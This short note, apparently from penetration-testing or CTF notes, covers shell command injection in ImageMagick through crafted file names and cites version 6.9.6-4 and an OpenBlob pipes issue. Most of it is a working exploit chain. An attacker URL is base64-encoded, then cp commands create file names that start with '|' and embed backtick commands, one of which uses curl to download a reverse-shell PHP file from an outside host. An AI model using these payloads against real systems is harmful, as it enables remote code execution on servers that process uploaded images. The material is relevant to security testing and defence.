ImageMagick

Imagic PHP and ImageMagick exploits

Shell command injection in version 6.9.6-4 through filename

RCE (shell command injection) vulnerability in `OpenBlob` with `--enable-pipes` configured · Issue #6339 · ImageMagick/ImageMagickGitHub

echo "http://192.168.x.x:22/rev.php" | base64                               
aHR0cDovLzE5Mi4xNjguNDUuMTk0OjIyL3Jldi5waHAK

cp face.png '|smile"`echo aHR0cDovLzE5Mi4xNjguNDUuMTk0OjIyL3Jldi5waHAK | base64 -d > curlurl`".png'

cp face.png '|smile"`curl --url $(cat curlurl) > rev.php`".png'